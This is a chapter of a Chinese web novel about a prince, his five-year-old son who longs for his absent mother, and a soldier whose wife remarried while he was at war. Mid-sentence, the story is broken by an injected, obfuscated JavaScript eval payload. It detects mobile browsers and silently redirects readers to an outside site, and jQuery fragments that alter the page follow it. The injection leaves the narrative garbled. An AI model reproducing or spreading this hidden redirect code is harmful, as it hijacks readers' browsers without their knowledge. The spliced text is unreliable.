6. 稚子尚幼(二)

作品:《改嫁后,战死的前夫活着回来了

    “鹤儿呢?”严巍回到祥云院,面上的难看之色堪堪遮掩去。


    “小公子在书房,明明还病着,今早却起了个大早,非说要写幅字呢。”


    丫鬟正要打开书房的门,严巍抬手制止。


    隔着半开的窗扉,清楚地看到五岁半的孩童正端端正正地坐在书案前,明明个子小小,却努力坐直身子,拿着毛笔,有模有样的在写字。


    “王爷,小公子自今早起,就一直念叨着……要找夫人。”奶娘春芳还不知道刚才前厅发生的事,她试探着问。


    严巍神情微顿,他面上的薄怒已经褪去,只剩了些说不清道不明的情绪。


    似是听到了屋外的声音,书房里头的小人回头看到了屋外的严巍,圆溜溜的黑眼睛亮起来:“爹爹。”


    严巍推门进去,小文鹤悄悄往严巍身后和门外打量了一眼,有些失落的收回视线。


    察觉到他的视线,严巍袖中的手轻握了一下,率先问道:“练的什么字?”


    听爹爹问起,严文鹤欠起身子,努力铺开桌子上的纸:“是吴亦龙老先生的《慈母赋》。”


    严巍身形微顿,他上前一步:“这几个字写得不错,听奶娘说你最近练字很刻苦。”


    被夸赞了,小文鹤腼腆一笑:“谢爹爹夸赞,孩儿还要继续努力。”


    严巍抬手摸摸小文鹤的后脑勺。


    小文鹤从椅子上出溜下来,他才不到六岁,身量小,还不到严巍的腰,他仰头打量了一下严巍的脸色,小手抠了抠,鼓起勇气正要问:“爹爹,我今天已经把药喝了,你昨晚……”


    “鹤儿,我待会儿有要事出门,可能会晚些回来,你在家中要听奶娘的话。”


    “……好。”小文鹤想说的话被打断,他欲言又止,但听到爹爹有事要忙,他又很乖的点头应下。


    走出祥云院,严巍强撑着的情绪终于绷不住,他面色难看极了。


    石山正好送人回来。


    “王爷,你……”


    “她走了?”


    “……是。”


    “她可曾同你问起过……罢了。”严巍只觉得腹中一阵痉挛。


    -


    “奶娘,爹爹是不是不会让娘来看我了。”


    院中,目送严巍离开后,小文鹤坐在门口,托着下巴望着院门。


    春芳也不知道发生了什么,今早看小公子一直念叨着王爷会叫夫人过来,她还真的以为夫人会来呢,可看刚才王爷脸色不善,不知道又发生了什么?


    “爹爹从来不会骗我,答应我的事都会做到,是不是……娘不想见我啊。”小文鹤低头,语气委屈。


    “这,鹤儿,你娘是很想见你的,只是……”春芳也不知道该如何解释,她对于夫人和王爷的爱恨情仇还有那些过往之事知道的也不算太多,也不知道昨晚王爷是不是真的答应了小公子让夫人来。


    或许还是王爷不想叫夫人来,昨晚只是哄骗小公子的吧。


    唉,春芳叹了口气:“大人都有各自不得已的苦衷,王爷和夫人都是很疼爱你的。”


    “可是,如果我娘爱我,为何她从不来看我呢?”


    虽然听话懂事,但严文鹤始终是个才五岁的小孩子,他眨巴着眼睛,抬手蹭掉眼泪。


    春芳将他抱起来,抱到屋中安慰:“鹤儿,你看,这是什么。”


    虽然夫人曾经说过不要提起这些是她送来的,可是春芳看到小文鹤这般可怜,她还是忍不住把事情告诉这个尚不到六岁的小孩子。


    她知道,文鹤小公子虽然年纪小,但是个聪慧懂事的,夫人是个好人,她不想小公子因此而自小记恨夫人,且听说王爷要有王妃了,日后夫人再想见小公子就更难了,只怕日后母子会更疏远。


    “这是给我的新衣裳。”小文鹤蹭干眼泪。


    “是,这是你娘亲叫我偷偷拿来的。”


    小文鹤一听,伸手去摸那些衣裳,还不等奶娘解释,他看到衣裳上面的图案,惊喜道:“奶娘,你果真没骗我,这真是我娘亲手给我缝的!”


    春芳惊讶于文鹤的笃定。


    “奶娘你看,这衣裳上面的仙鹤,跟我小被子还有小巾子上面的仙鹤一模一样!”文鹤把衣裳抱进怀里,终于破涕为笑,他娘缝的鹤总是胖乎乎的。


    春芳摸了摸这几只鹤,笑:“鹤儿小公子真聪明,这几只鹤还真是一样。”


    “奶娘,你是不是不想让爹爹知道,我会保密的,拉钩。”


    春芳惊讶于严文鹤小小年幼就这般细腻,笑着抬手勾住了伸来的小手:“鹤儿乖。”


    -


    严巍今日本就心情不好,他不知道该怎么面对儿子,这才来了军营,孰料刚至军营,就听到有人白日在军营喝醉了酒闹事。


    “王爷,今日之事本不该找您,实在是……”来禀告的副将都快把手指头扣烂了,他知道,要是自己把今日之事说出来,怕是还会惹恼王爷。


    但他实在是没办法了,喝酒闹事的是他部下的一个小都尉,不止喝醉了酒,还打了军营里的卫将军。


    最重要的是这卫将军家世显赫,不好惹。


    这下,那个小都尉怕是要脱层皮了。


    “有话直说。”严巍有些不耐烦。


    “徐都尉,想必王爷您也有印象,咱们带队突袭北狄时,徐都尉是第一个站出来视死如归的,徐都尉这人很老实……”


    严巍冷笑:“老实?老实会藐视军规白日酗酒,还打了上峰?”


    “王爷,这实在是事出有因。”


    刘副将深知严巍治下严格,实在不忍徐都尉被重罚,心一横,他把实情说出来。


    “是卫将军先招惹在先,王爷您也知道,这卫将军是刚被塞进来的,就是个没什么真本事的混子,平日里仗着家世显赫,总是看不起我们这些穷苦出来的,这徐都尉呢……唉,他最近遇到了点事儿,愁闷之余便喝了酒,这卫将军也是嘴贱,知道了徐都尉的事,便拿这事儿作伐子笑话他,徐都尉这才动手打了他。”


    “徐都尉什么事?”听刘副将说话含含糊糊,这倒是引起了严巍的好奇。


    都知道这刘副将寻常大大咧咧,哪里会有这么扭捏的时候。


    刘副将抬头瞄了眼严巍,突然就后悔了。


    “呃……呃……”


    “快说,再墨迹给老子滚出去。”


    “徐都尉的婆娘跟人跑了。”刘副将几乎是咬着牙说完的。


    “……”


    军营内一片寂静。


    刘副将后悔了,后背渗出一层汗。


    许久。


    “……婆娘跟人跑了。”


    听不出严巍说这话时的情绪,刘副将悄悄抬头。


    “砰!”桌上的砚台被砸出去。


    “刘彪,我操你大爷,你拿老子开涮呢!”


    石山回来时,正好看到一脸暴怒的严巍抽出了墙上的佩刀,正对着刘副将砍去。


    “王爷息怒,这是怎么了……”


    石山拦下,都是出生入死的兄弟,到底发生了什么事让王爷这么震怒?


    “都给我滚!”严巍把佩刀扔掉。


    熟悉严巍性子的石山赶紧拖着瘫倒在地的刘副将逃出营帐。


    出了营帐。


    “到底怎么了?王爷怎么发这么大脾气?”石山不解。


    刘副将赶紧向石山说清楚来龙去脉。


    听完,石山惊出了一头的汗:“你……怕不是活腻了。”


    其实石山也知道徐都尉的事,自从回来之后,军营里总是有些风言风语。


    这徐都尉也是个可怜人,原先家境贫寒,好不容易娶了个婆娘,给他生了一子一女,但是有了孩子之后家里更是揭不开锅,徐都尉为了让老婆孩子过上好日子,便从了军。


    战场上死伤无数,徐都尉每次打仗都很果敢,就是为了多立些功,多发些月俸寄给老婆孩子,就这么在战场上苦了七八年,拼了一身伤混到了都尉,如今活着回来就等着老婆孩子热炕头。


    孰料,回家一看,家里只剩了一双儿女,婆娘却不见了。


    细问才知道,两年前婆娘就改嫁了。


    虽说徐都尉这经历不能跟王爷完全相似,但“婆娘跑了”这茬,确实是有异曲同工之处,怨不得王爷震怒啊。


    “哎,咱们久经沙场,常年不归家,连王爷都免不得遭遇这种事,更何况手底下的小兵。”


    石山叹了口气,都是出生入死的兄弟,他拍了拍石山的肩膀:“虽说今日惹得王爷震怒,但你今日也算是兵行


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14243903|151480||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    险招,相信王爷不会坐视不理的。”


    “嗯。”


    入夜,军营归于寂静。


    押解所,徐都尉被绑着,身上已经挨了军棍,正等待明天发落。


    飞蛾扑火,军营的一处刑牢中,烛火发出噼里啪啦的动静。


    “王爷?”守卫看到来人,惊了一下。


    徐都尉迷迷糊糊,直到身上的绳子被揭开,他睁开眼,看清对面的人,也吓了一跳,哆嗦道:“王……王爷。”


    严巍坐下,把手中的酒放在桌子上,示意守备的人出去。


    “徐都尉,再喝几杯?”


    摸不清楚严巍是要做什么,徐都尉有些惧怕:“属下不敢,今日是属下犯浑,属下愿意承担责罚。”


    “我让你喝,少废话。”


    “那……那好。”徐都尉胆战心惊的坐到严巍对面。


    严巍把酒碗撂开,往碗里倒了酒,推到徐都尉面前,不等徐都尉举杯,他先端起酒碗一仰而尽。


    见状,徐都尉也拿起碗。


    ……


    一坛酒,两人喝了两个时辰。


    徐都尉酒品略差了些,喝醉了一直喋喋不休。


    “唉,王爷你不知道,我心里苦啊,我当年不要命的挣军功,就是为了他们娘仨……”


    “那年我太穷了,没人跟我,只有我这婆娘不嫌我穷,不嫌我丑,你说……苦日子都过来了,她怎么能不要我了呢?”


    “孩子也不要了,唉,多好的孩子啊,说不要就不要了。”


    “呜呜呜呜,王爷,呜呜呜,我心里苦啊!”


    许是心里实在苦闷,徐都尉又喝多了。


    严巍走出营帐时,还能听到徐都尉放声痛哭的动静。


    回府时,夜已深了。


    小文鹤还没睡着,听到动静,他从被窝爬出来。


    “被吵醒了?”


    祥云院是严文鹤的院子,严巍也有自己的院子,但是这半年来,严巍总是习惯来陪儿子睡觉。


    严巍身上的酒气很重。


    小文鹤凑近了,被酒气熏到,他皱起鼻子,吩咐下人去煮醒酒汤。


    听到儿子奶声奶气地吩咐下人,严巍笑着捏捏他的脸。


    “爹爹,你怎么喝这么多酒?”


    “爹爹……心里……”


    严巍只是指了指胸口,后面的话又咽了回去。


    小文鹤爬到凳子上,给他爹揉胸口。


    严巍挤出一个笑脸,继续摸他儿子的小圆脸。


    “爹爹,下次不要喝这么多了,对身体不好。”


    “唔,爹知道了,鹤儿说的对,爹听你的话。”严巍趴在桌子上,明显是醉了。


    醒酒汤端上来。


    小文鹤摇摇他爹。


    严巍抬起头,顺从地把醒酒汤喝掉。


    “爹爹,去床上睡吧。”


    严巍抱起儿子去床上。


    躺在床上,小文鹤其实有点在意他爹没盥洗就睡他的床,他坐起身,看着他爹醉得迷糊,倒是不嫌弃了。


    小手摸摸爹的脸,又把自己的被子分给他爹,自己又乖乖躺下。


    “鹤儿。”严巍半醒半醉,絮絮叨叨。


    小文鹤已经见怪不怪,他爹平日里总是绷着脸故作严厉,但每每喝了酒就会变得话多。


    “嗯。”


    “今天写了几个字?”


    “六十个。”


    “中午喝药了?”


    “喝了。”


    “晚膳吃的什么?”


    “有丸子,松鼠桂鱼,青菜……”


    小文鹤虽然闭着眼酝酿睡意,但也很有耐心的回答他爹。


    父子二人一问一答,就在两人都快要睡着的时候。


    “鹤儿……”


    “……嗯。”


    “你娘她很喜欢你的,她只是……不喜欢爹爹。”


    小文鹤睁开眼,去看他爹。


    爹爹似乎已经睡着了,呼吸绵长。


    小文鹤却有些睡不着了,他摸了摸身上新衣裳的花纹,这是娘给他缝的新中衣,若是叫爹爹知道了,爹爹会生气吧。


    可是,他觉得爹爹并没有大家说的那样讨厌娘。


    而娘亲也真的不喜欢爹爹吗?